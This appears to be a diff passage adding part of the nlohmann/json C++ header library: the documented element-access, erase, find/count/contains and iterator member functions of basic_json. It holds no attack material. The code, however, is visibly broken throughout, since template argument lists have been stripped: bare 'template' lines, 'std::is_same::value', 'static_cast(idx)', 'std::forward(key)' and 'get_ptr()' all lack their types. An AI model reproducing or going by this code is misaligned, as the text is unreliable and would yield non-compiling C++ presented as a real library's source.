std::string(type_name()))); + } + + return *get_ptr(); + } + + /// @} + + + //////////////////// + // element access // + //////////////////// + + /// @name element access + /// Access to the JSON value. + /// @{ + + /*! + @brief access specified array element with bounds checking + + Returns a reference to the element at specified location @a idx, with + bounds checking. + + @param[in] idx index of the element to access + + @return reference to the element at index @a idx + + @throw type_error.304 if the JSON value is not an array; in this case, + calling `at` with an index makes no sense. See example below. + @throw out_of_range.401 if the index @a idx is out of range of the array; + that is, `idx >= size()`. See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @since version 1.0.0 + + @liveexample{The example below shows how array elements can be read and + written using `at()`. It also demonstrates the different exceptions that + can be thrown.,at__size_type} + */ + reference at(size_type idx) + { + // at only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + JSON_TRY + { + return m_value.array->at(idx); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(out_of_range::create(401, "array index " + std::to_string(idx) + " is out of range")); + } + } + else + { + JSON_THROW(type_error::create(304, "cannot use at() with " + std::string(type_name()))); + } + } + + /*! + @brief access specified array element with bounds checking + + Returns a const reference to the element at specified location @a idx, + with bounds checking. + + @param[in] idx index of the element to access + + @return const reference to the element at index @a idx + + @throw type_error.304 if the JSON value is not an array; in this case, + calling `at` with an index makes no sense. See example below. + @throw out_of_range.401 if the index @a idx is out of range of the array; + that is, `idx >= size()`. See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @since version 1.0.0 + + @liveexample{The example below shows how array elements can be read using + `at()`. It also demonstrates the different exceptions that can be thrown., + at__size_type_const} + */ + const_reference at(size_type idx) const + { + // at only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + JSON_TRY + { + return m_value.array->at(idx); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(out_of_range::create(401, "array index " + std::to_string(idx) + " is out of range")); + } + } + else + { + JSON_THROW(type_error::create(304, "cannot use at() with " + std::string(type_name()))); + } + } + + /*! + @brief access specified object element with bounds checking + + Returns a reference to the element at with specified key @a key, with + bounds checking. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw type_error.304 if the JSON value is not an object; in this case, + calling `at` with a key makes no sense. See example below. + @throw out_of_range.403 if the key @a key is is not stored in the object; + that is, `find(key) == end()`. See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Logarithmic in the size of the container. + + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + + @liveexample{The example below shows how object elements can be read and + written using `at()`. It also demonstrates the different exceptions that + can be thrown.,at__object_t_key_type} + */ + reference at(const typename object_t::key_type& key) + { + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + JSON_TRY + { + return m_value.object->at(key); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(out_of_range::create(403, "key '" + key + "' not found")); + } + } + else + { + JSON_THROW(type_error::create(304, "cannot use at() with " + std::string(type_name()))); + } + } + + /*! + @brief access specified object element with bounds checking + + Returns a const reference to the element at with specified key @a key, + with bounds checking. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @throw type_error.304 if the JSON value is not an object; in this case, + calling `at` with a key makes no sense. See example below. + @throw out_of_range.403 if the key @a key is is not stored in the object; + that is, `find(key) == end()`. See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Logarithmic in the size of the container. + + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + + @liveexample{The example below shows how object elements can be read using + `at()`. It also demonstrates the different exceptions that can be thrown., + at__object_t_key_type_const} + */ + const_reference at(const typename object_t::key_type& key) const + { + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + JSON_TRY + { + return m_value.object->at(key); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(out_of_range::create(403, "key '" + key + "' not found")); + } + } + else + { + JSON_THROW(type_error::create(304, "cannot use at() with " + std::string(type_name()))); + } + } + + /*! + @brief access specified array element + + Returns a reference to the element at specified location @a idx. + + @note If @a idx is beyond the range of the array (i.e., `idx >= size()`), + then the array is silently filled up with `null` values to make `idx` a + valid reference to the last stored element. + + @param[in] idx index of the element to access + + @return reference to the element at index @a idx + + @throw type_error.305 if the JSON value is not an array or null; in that + cases, using the [] operator with an index makes no sense. + + @complexity Constant if @a idx is in the range of the array. Otherwise + linear in `idx - size()`. + + @liveexample{The example below shows how array elements can be read and + written using `[]` operator. Note the addition of `null` + values.,operatorarray__size_type} + + @since version 1.0.0 + */ + reference operator[](size_type idx) + { + // implicitly convert null value to an empty array + if (is_null()) + { + m_type = value_t::array; + m_value.array = create(); + assert_invariant(); + } + + // operator[] only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + // fill up array with null values if given idx is outside range + if (idx >= m_value.array->size()) + { + m_value.array->insert(m_value.array->end(), + idx - m_value.array->size() + 1, + basic_json()); + } + + return m_value.array->operator[](idx); + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a numeric argument with " + std::string(type_name()))); + } + + /*! + @brief access specified array element + + Returns a const reference to the element at specified location @a idx. + + @param[in] idx index of the element to access + + @return const reference to the element at index @a idx + + @throw type_error.305 if the JSON value is not an array; in that case, + using the [] operator with an index makes no sense. + + @complexity Constant. + + @liveexample{The example below shows how array elements can be read using + the `[]` operator.,operatorarray__size_type_const} + + @since version 1.0.0 + */ + const_reference operator[](size_type idx) const + { + // const operator[] only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + return m_value.array->operator[](idx); + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a numeric argument with " + std::string(type_name()))); + } + + /*! + @brief access specified object element + + Returns a reference to the element at with specified key @a key. + + @note If @a key is not found in the object, then it is silently added to + the object and filled with a `null` value to make `key` a valid reference. + In case the value was `null` before, it is converted to an object. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw type_error.305 if the JSON value is not an object or null; in that + cases, using the [] operator with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using the `[]` operator.,operatorarray__key_type} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + reference operator[](const typename object_t::key_type& key) + { + // implicitly convert null value to an empty object + if (is_null()) + { + m_type = value_t::object; + m_value.object = create(); + assert_invariant(); + } + + // operator[] only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + return m_value.object->operator[](key); + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a string argument with " + std::string(type_name()))); + } + + /*! + @brief read-only access specified object element + + Returns a const reference to the element at with specified key @a key. No + bounds checking is performed. + + @warning If the element with key @a key does not exist, the behavior is + undefined. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @pre The element with key @a key must exist. **This precondition is + enforced with an assertion.** + + @throw type_error.305 if the JSON value is not an object; in that case, + using the [] operator with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + the `[]` operator.,operatorarray__key_type_const} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + const_reference operator[](const typename object_t::key_type& key) const + { + // const operator[] only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + JSON_ASSERT(m_value.object->find(key) != m_value.object->end()); + return m_value.object->find(key)->second; + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a string argument with " + std::string(type_name()))); + } + + /*! + @brief access specified object element + + Returns a reference to the element at with specified key @a key. + + @note If @a key is not found in the object, then it is silently added to + the object and filled with a `null` value to make `key` a valid reference. + In case the value was `null` before, it is converted to an object. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw type_error.305 if the JSON value is not an object or null; in that + cases, using the [] operator with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using the `[]` operator.,operatorarray__key_type} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.1.0 + */ + template + JSON_HEDLEY_NON_NULL(2) + reference operator[](T* key) + { + // implicitly convert null to object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + return m_value.object->operator[](key); + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a string argument with " + std::string(type_name()))); + } + + /*! + @brief read-only access specified object element + + Returns a const reference to the element at with specified key @a key. No + bounds checking is performed. + + @warning If the element with key @a key does not exist, the behavior is + undefined. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @pre The element with key @a key must exist. **This precondition is + enforced with an assertion.** + + @throw type_error.305 if the JSON value is not an object; in that case, + using the [] operator with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + the `[]` operator.,operatorarray__key_type_const} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.1.0 + */ + template + JSON_HEDLEY_NON_NULL(2) + const_reference operator[](T* key) const + { + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + JSON_ASSERT(m_value.object->find(key) != m_value.object->end()); + return m_value.object->find(key)->second; + } + + JSON_THROW(type_error::create(305, "cannot use operator[] with a string argument with " + std::string(type_name()))); + } + + /*! + @brief access specified object element with default value + + Returns either a copy of an object's element at the specified key @a key + or a given default value if no element with key @a key exists. + + The function is basically equivalent to executing + @code {.cpp} + try { + return at(key); + } catch(out_of_range) { + return default_value; + } + @endcode + + @note Unlike @ref at(const typename object_t::key_type&), this function + does not throw if the given key @a key was not found. + + @note Unlike @ref operator[](const typename object_t::key_type& key), this + function does not implicitly add an element to the position defined by @a + key. This function is furthermore also applicable to const objects. + + @param[in] key key of the element to access + @param[in] default_value the value to return if @a key is not found + + @tparam ValueType type compatible to JSON values, for instance `int` for + JSON integer numbers, `bool` for JSON booleans, or `std::vector` types for + JSON arrays. Note the type of the expected value at @a key and the default + value @a default_value must be compatible. + + @return copy of the element at key @a key or @a default_value if @a key + is not found + + @throw type_error.302 if @a default_value does not match the type of the + value at @a key + @throw type_error.306 if the JSON value is not an object; in that case, + using `value()` with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be queried + with a default value.,basic_json__value} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + + @since version 1.0.0 + */ + // using std::is_convertible in a std::enable_if will fail when using explicit conversions + template < class ValueType, typename std::enable_if < + detail::is_getable::value + && !std::is_same::value, int >::type = 0 > + ValueType value(const typename object_t::key_type& key, const ValueType& default_value) const + { + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + // if key is found, return value and given default value otherwise + const auto it = find(key); + if (it != end()) + { + return it->template get(); + } + + return default_value; + } + + JSON_THROW(type_error::create(306, "cannot use value() with " + std::string(type_name()))); + } + + /*! + @brief overload for a default value of type const char* + @copydoc basic_json::value(const typename object_t::key_type&, const ValueType&) const + */ + string_t value(const typename object_t::key_type& key, const char* default_value) const + { + return value(key, string_t(default_value)); + } + + /*! + @brief access specified object element via JSON Pointer with default value + + Returns either a copy of an object's element at the specified key @a key + or a given default value if no element with key @a key exists. + + The function is basically equivalent to executing + @code {.cpp} + try { + return at(ptr); + } catch(out_of_range) { + return default_value; + } + @endcode + + @note Unlike @ref at(const json_pointer&), this function does not throw + if the given key @a key was not found. + + @param[in] ptr a JSON pointer to the element to access + @param[in] default_value the value to return if @a ptr found no value + + @tparam ValueType type compatible to JSON values, for instance `int` for + JSON integer numbers, `bool` for JSON booleans, or `std::vector` types for + JSON arrays. Note the type of the expected value at @a key and the default + value @a default_value must be compatible. + + @return copy of the element at key @a key or @a default_value if @a key + is not found + + @throw type_error.302 if @a default_value does not match the type of the + value at @a ptr + @throw type_error.306 if the JSON value is not an object; in that case, + using `value()` with a key makes no sense. + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be queried + with a default value.,basic_json__value_ptr} + + @sa @ref operator[](const json_pointer&) for unchecked access by reference + + @since version 2.0.2 + */ + template::value, int>::type = 0> + ValueType value(const json_pointer& ptr, const ValueType& default_value) const + { + // at only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + // if pointer resolves a value, return it or use default value + JSON_TRY + { + return ptr.get_checked(this).template get(); + } + JSON_INTERNAL_CATCH (out_of_range&) + { + return default_value; + } + } + + JSON_THROW(type_error::create(306, "cannot use value() with " + std::string(type_name()))); + } + + /*! + @brief overload for a default value of type const char* + @copydoc basic_json::value(const json_pointer&, ValueType) const + */ + JSON_HEDLEY_NON_NULL(3) + string_t value(const json_pointer& ptr, const char* default_value) const + { + return value(ptr, string_t(default_value)); + } + + /*! + @brief access the first element + + Returns a reference to the first element in the container. For a JSON + container `c`, the expression `c.front()` is equivalent to `*c.begin()`. + + @return In case of a structured type (array or object), a reference to the + first element is returned. In case of number, string, boolean, or binary + values, a reference to the value is returned. + + @complexity Constant. + + @pre The JSON value must not be `null` (would throw `std::out_of_range`) + or an empty array or object (undefined behavior, **guarded by + assertions**). + @post The JSON value remains unchanged. + + @throw invalid_iterator.214 when called on `null` value + + @liveexample{The following code shows an example for `front()`.,front} + + @sa @ref back() -- access the last element + + @since version 1.0.0 + */ + reference front() + { + return *begin(); + } + + /*! + @copydoc basic_json::front() + */ + const_reference front() const + { + return *cbegin(); + } + + /*! + @brief access the last element + + Returns a reference to the last element in the container. For a JSON + container `c`, the expression `c.back()` is equivalent to + @code {.cpp} + auto tmp = c.end(); + --tmp; + return *tmp; + @endcode + + @return In case of a structured type (array or object), a reference to the + last element is returned. In case of number, string, boolean, or binary + values, a reference to the value is returned. + + @complexity Constant. + + @pre The JSON value must not be `null` (would throw `std::out_of_range`) + or an empty array or object (undefined behavior, **guarded by + assertions**). + @post The JSON value remains unchanged. + + @throw invalid_iterator.214 when called on a `null` value. See example + below. + + @liveexample{The following code shows an example for `back()`.,back} + + @sa @ref front() -- access the first element + + @since version 1.0.0 + */ + reference back() + { + auto tmp = end(); + --tmp; + return *tmp; + } + + /*! + @copydoc basic_json::back() + */ + const_reference back() const + { + auto tmp = cend(); + --tmp; + return *tmp; + } + + /*! + @brief remove element given an iterator + + Removes the element specified by iterator @a pos. The iterator @a pos must + be valid and dereferenceable. Thus the `end()` iterator (which is valid, + but is not dereferenceable) cannot be used as a value for @a pos. + + If called on a primitive type other than `null`, the resulting JSON value + will be `null`. + + @param[in] pos iterator to the element to remove + @return Iterator following the last removed element. If the iterator @a + pos refers to the last element, the `end()` iterator is returned. + + @tparam IteratorType an @ref iterator or @ref const_iterator + + @post Invalidates iterators and references at or after the point of the + erase, including the `end()` iterator. + + @throw type_error.307 if called on a `null` value; example: `"cannot use + erase() with null"` + @throw invalid_iterator.202 if called on an iterator which does not belong + to the current JSON value; example: `"iterator does not fit current + value"` + @throw invalid_iterator.205 if called on a primitive type with invalid + iterator (i.e., any iterator which is not `begin()`); example: `"iterator + out of range"` + + @complexity The complexity depends on the type: + - objects: amortized constant + - arrays: linear in distance between @a pos and the end of the container + - strings and binary: linear in the length of the member + - other types: constant + + @liveexample{The example shows the result of `erase()` for different JSON + types.,erase__IteratorType} + + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + template < class IteratorType, typename std::enable_if < + std::is_same::value || + std::is_same::value, int >::type + = 0 > + IteratorType erase(IteratorType pos) + { + // make sure iterator fits the current value + if (JSON_HEDLEY_UNLIKELY(this != pos.m_object)) + { + JSON_THROW(invalid_iterator::create(202, "iterator does not fit current value")); + } + + IteratorType result = end(); + + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + case value_t::binary: + { + if (JSON_HEDLEY_UNLIKELY(!pos.m_it.primitive_iterator.is_begin())) + { + JSON_THROW(invalid_iterator::create(205, "iterator out of range")); + } + + if (is_string()) + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, m_value.string); + std::allocator_traits::deallocate(alloc, m_value.string, 1); + m_value.string = nullptr; + } + else if (is_binary()) + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, m_value.binary); + std::allocator_traits::deallocate(alloc, m_value.binary, 1); + m_value.binary = nullptr; + } + + m_type = value_t::null; + assert_invariant(); + break; + } + + case value_t::object: + { + result.m_it.object_iterator = m_value.object->erase(pos.m_it.object_iterator); + break; + } + + case value_t::array: + { + result.m_it.array_iterator = m_value.array->erase(pos.m_it.array_iterator); + break; + } + + default: + JSON_THROW(type_error::create(307, "cannot use erase() with " + std::string(type_name()))); + } + + return result; + } + + /*! + @brief remove elements given an iterator range + + Removes the element specified by the range `[first; last)`. The iterator + @a first does not need to be dereferenceable if `first == last`: erasing + an empty range is a no-op. + + If called on a primitive type other than `null`, the resulting JSON value + will be `null`. + + @param[in] first iterator to the beginning of the range to remove + @param[in] last iterator past the end of the range to remove + @return Iterator following the last removed element. If the iterator @a + second refers to the last element, the `end()` iterator is returned. + + @tparam IteratorType an @ref iterator or @ref const_iterator + + @post Invalidates iterators and references at or after the point of the + erase, including the `end()` iterator. + + @throw type_error.307 if called on a `null` value; example: `"cannot use + erase() with null"` + @throw invalid_iterator.203 if called on iterators which does not belong + to the current JSON value; example: `"iterators do not fit current value"` + @throw invalid_iterator.204 if called on a primitive type with invalid + iterators (i.e., if `first != begin()` and `last != end()`); example: + `"iterators out of range"` + + @complexity The complexity depends on the type: + - objects: `log(size()) + std::distance(first, last)` + - arrays: linear in the distance between @a first and @a last, plus linear + in the distance between @a last and end of the container + - strings and binary: linear in the length of the member + - other types: constant + + @liveexample{The example shows the result of `erase()` for different JSON + types.,erase__IteratorType_IteratorType} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + template < class IteratorType, typename std::enable_if < + std::is_same::value || + std::is_same::value, int >::type + = 0 > + IteratorType erase(IteratorType first, IteratorType last) + { + // make sure iterator fits the current value + if (JSON_HEDLEY_UNLIKELY(this != first.m_object || this != last.m_object)) + { + JSON_THROW(invalid_iterator::create(203, "iterators do not fit current value")); + } + + IteratorType result = end(); + + switch (m_type) + { + case value_t::boolean: + case value_t::number_float: + case value_t::number_integer: + case value_t::number_unsigned: + case value_t::string: + case value_t::binary: + { + if (JSON_HEDLEY_LIKELY(!first.m_it.primitive_iterator.is_begin() + || !last.m_it.primitive_iterator.is_end())) + { + JSON_THROW(invalid_iterator::create(204, "iterators out of range")); + } + + if (is_string()) + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, m_value.string); + std::allocator_traits::deallocate(alloc, m_value.string, 1); + m_value.string = nullptr; + } + else if (is_binary()) + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, m_value.binary); + std::allocator_traits::deallocate(alloc, m_value.binary, 1); + m_value.binary = nullptr; + } + + m_type = value_t::null; + assert_invariant(); + break; + } + + case value_t::object: + { + result.m_it.object_iterator = m_value.object->erase(first.m_it.object_iterator, + last.m_it.object_iterator); + break; + } + + case value_t::array: + { + result.m_it.array_iterator = m_value.array->erase(first.m_it.array_iterator, + last.m_it.array_iterator); + break; + } + + default: + JSON_THROW(type_error::create(307, "cannot use erase() with " + std::string(type_name()))); + } + + return result; + } + + /*! + @brief remove element from a JSON object given a key + + Removes elements from a JSON object with the key value @a key. + + @param[in] key value of the elements to remove + + @return Number of elements removed. If @a ObjectType is the default + `std::map` type, the return value will always be `0` (@a key was not + found) or `1` (@a key was found). + + @post References and iterators to the erased elements are invalidated. + Other references and iterators are not affected. + + @throw type_error.307 when called on a type other than JSON object; + example: `"cannot use erase() with null"` + + @complexity `log(size()) + count(key)` + + @liveexample{The example shows the effect of `erase()`.,erase__key_type} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const size_type) -- removes the element from an array at + the given index + + @since version 1.0.0 + */ + size_type erase(const typename object_t::key_type& key) + { + // this erase only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + return m_value.object->erase(key); + } + + JSON_THROW(type_error::create(307, "cannot use erase() with " + std::string(type_name()))); + } + + /*! + @brief remove element from a JSON array given an index + + Removes element from a JSON array at the index @a idx. + + @param[in] idx index of the element to remove + + @throw type_error.307 when called on a type other than JSON object; + example: `"cannot use erase() with null"` + @throw out_of_range.401 when `idx >= size()`; example: `"array index 17 + is out of range"` + + @complexity Linear in distance between @a idx and the end of the container. + + @liveexample{The example shows the effect of `erase()`.,erase__size_type} + + @sa @ref erase(IteratorType) -- removes the element at a given position + @sa @ref erase(IteratorType, IteratorType) -- removes the elements in + the given range + @sa @ref erase(const typename object_t::key_type&) -- removes the element + from an object at the given key + + @since version 1.0.0 + */ + void erase(const size_type idx) + { + // this erase only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + if (JSON_HEDLEY_UNLIKELY(idx >= size())) + { + JSON_THROW(out_of_range::create(401, "array index " + std::to_string(idx) + " is out of range")); + } + + m_value.array->erase(m_value.array->begin() + static_cast(idx)); + } + else + { + JSON_THROW(type_error::create(307, "cannot use erase() with " + std::string(type_name()))); + } + } + + /// @} + + + //////////// + // lookup // + //////////// + + /// @name lookup + /// @{ + + /*! + @brief find an element in a JSON object + + Finds an element in a JSON object with key equivalent to @a key. If the + element is not found or the JSON value is not an object, end() is + returned. + + @note This method always returns @ref end() when executed on a JSON type + that is not an object. + + @param[in] key key value of the element to search for. + + @return Iterator to an element with key equivalent to @a key. If no such + element is found or the JSON value is not an object, past-the-end (see + @ref end()) iterator is returned. + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The example shows how `find()` is used.,find__key_type} + + @sa @ref contains(KeyT&&) const -- checks whether a key exists + + @since version 1.0.0 + */ + template + iterator find(KeyT&& key) + { + auto result = end(); + + if (is_object()) + { + result.m_it.object_iterator = m_value.object->find(std::forward(key)); + } + + return result; + } + + /*! + @brief find an element in a JSON object + @copydoc find(KeyT&&) + */ + template + const_iterator find(KeyT&& key) const + { + auto result = cend(); + + if (is_object()) + { + result.m_it.object_iterator = m_value.object->find(std::forward(key)); + } + + return result; + } + + /*! + @brief returns the number of occurrences of a key in a JSON object + + Returns the number of elements with key @a key. If ObjectType is the + default `std::map` type, the return value will always be `0` (@a key was + not found) or `1` (@a key was found). + + @note This method always returns `0` when executed on a JSON type that is + not an object. + + @param[in] key key value of the element to count + + @return Number of elements with key @a key. If the JSON value is not an + object, the return value will be `0`. + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The example shows how `count()` is used.,count} + + @since version 1.0.0 + */ + template + size_type count(KeyT&& key) const + { + // return 0 for all nonobject types + return is_object() ? m_value.object->count(std::forward(key)) : 0; + } + + /*! + @brief check the existence of an element in a JSON object + + Check whether an element exists in a JSON object with key equivalent to + @a key. If the element is not found or the JSON value is not an object, + false is returned. + + @note This method always returns false when executed on a JSON type + that is not an object. + + @param[in] key key value to check its existence. + + @return true if an element with specified @a key exists. If no such + element with such key is found or the JSON value is not an object, + false is returned. + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The following code shows an example for `contains()`.,contains} + + @sa @ref find(KeyT&&) -- returns an iterator to an object element + @sa @ref contains(const json_pointer&) const -- checks the existence for a JSON pointer + + @since version 3.6.0 + */ + template < typename KeyT, typename std::enable_if < + !std::is_same::type, json_pointer>::value, int >::type = 0 > + bool contains(KeyT && key) const + { + return is_object() && m_value.object->find(std::forward(key)) != m_value.object->end(); + } + + /*! + @brief check the existence of an element in a JSON object given a JSON pointer + + Check whether the given JSON pointer @a ptr can be resolved in the current + JSON value. + + @note This method can be executed on any JSON value type. + + @param[in] ptr JSON pointer to check its existence. + + @return true if the JSON pointer can be resolved to a stored value, false + otherwise. + + @post If `j.contains(ptr)` returns true, it is safe to call `j[ptr]`. + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + + @complexity Logarithmic in the size of the JSON object. + + @liveexample{The following code shows an example for `contains()`.,contains_json_pointer} + + @sa @ref contains(KeyT &&) const -- checks the existence of a key + + @since version 3.7.0 + */ + bool contains(const json_pointer& ptr) const + { + return ptr.contains(this); + } + + /// @} + + + /////////////// + // iterators // + /////////////// + + /// @name iterators + /// @{ + + /*! + @brief returns an iterator to the first element + + Returns an iterator to the first element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return iterator to the first element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + + @liveexample{The following code shows an example for `begin()`.,begin} + + @sa @ref cbegin() -- returns a const iterator to the beginning + @sa @ref end() -- returns an iterator to the end + @sa @ref cend() -- returns a const iterator to the end + + @since version 1.0.0 + */ + iterator begin() noexcept + { + iterator result(this); + result.set_begin(); + return result; + } + + /*! + @copydoc basic_json::cbegin() + */ + const_iterator begin() const noexcept + { + return cbegin(); + } + + /*! + @brief returns a const iterator to the first element + + Returns a const iterator to the first element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return const iterator to the first element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).begin()`. + + @liveexample{The following code shows an example for `cbegin()`.,cbegin} + + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref end() -- returns an iterator to the end + @sa @ref cend() -- returns a const iterator to the end + + @since version 1.0.0 + */ + const_iterator cbegin() const noexcept + { + const_iterator result(this); + result.set_begin(); + return result; + } + + /*! + @brief returns an iterator to one past the last element + + Returns an iterator to one past the last element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return iterator one past the last element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + + @liveexample{The following code shows an example for `end()`.,end} + + @sa @ref cend() -- returns a const iterator to the end + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref cbegin() -- returns a const iterator to the beginning + + @since version 1.0.0 + */ + iterator end() noexcept + { + iterator result(this); + result.set_end(); + return result; + } + + /*! + @copydoc basic_json::cend() + */ + const_iterator end() const noexcept + { + return cend(); + } + + /*! + @brief returns a const iterator to one past the last element + + Returns a const iterator to one past the last element. + + @image html range-begin-end.svg "Illustration from cppreference.com" + + @return const iterator one past the last element + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).end()`. + + @liveexample{The following code shows an example for `cend()`.,cend} + + @sa @ref end() -- returns an iterator to the end + @sa @ref begin() -- returns an iterator to the beginning + @sa @ref cbegin() -- returns a const iterator to the beginning + + @since version 1.0.0 + */ + const_iterator cend() const noexcept + { + const_iterator result(this); + result.set_end(); + return result; + } + + /*! + @brief returns an iterator to the reverse-beginning + + Returns an iterator to the reverse-beginning; that is, the last element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](https://en.cppreference.com/w/cpp/named_req/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `reverse_iterator(end())`. + + @liveexample{The following code shows an example for `rbegin()`.,rbegin} + + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref crend() -- returns a const reverse iterator to the end + + @since version 1.0.0 + */ + reverse_iterator rbegin() noexcept + { + return reverse_iterator(end()); + } + + /*! + @copydoc basic_json::crbegin() + */ + const_reverse_iterator rbegin() const noexcept + { + return crbegin(); + } + + /*! + @brief returns an iterator to the reverse-end + + Returns an iterator to the reverse-end; that is, one before the first + element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](https://en.cppreference.com/w/cpp/named_req/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `reverse_iterator(begin())`. + + @liveexample{The following code shows an example for `rend()`.,rend} + + @sa @ref crend() -- returns a const reverse iterator to the end + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + + @since version 1.0.0 + */ + reverse_iterator rend() noexcept + { + return reverse_iterator(begin()); + } + + /*! + @copydoc basic_json::crend() + */ + const_reverse_iterator rend() const noexcept + { + return crend(); + } + + /*! + @brief returns a const reverse iterator to the last element + + Returns a const iterator to the reverse-beginning; that is, the last + element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](https://en.cppreference.com/w/cpp/named_req/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).rbegin()`. + + @liveexample{The following code shows an example for `crbegin()`.,crbegin} + + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref crend() -- returns a const reverse iterator to the end 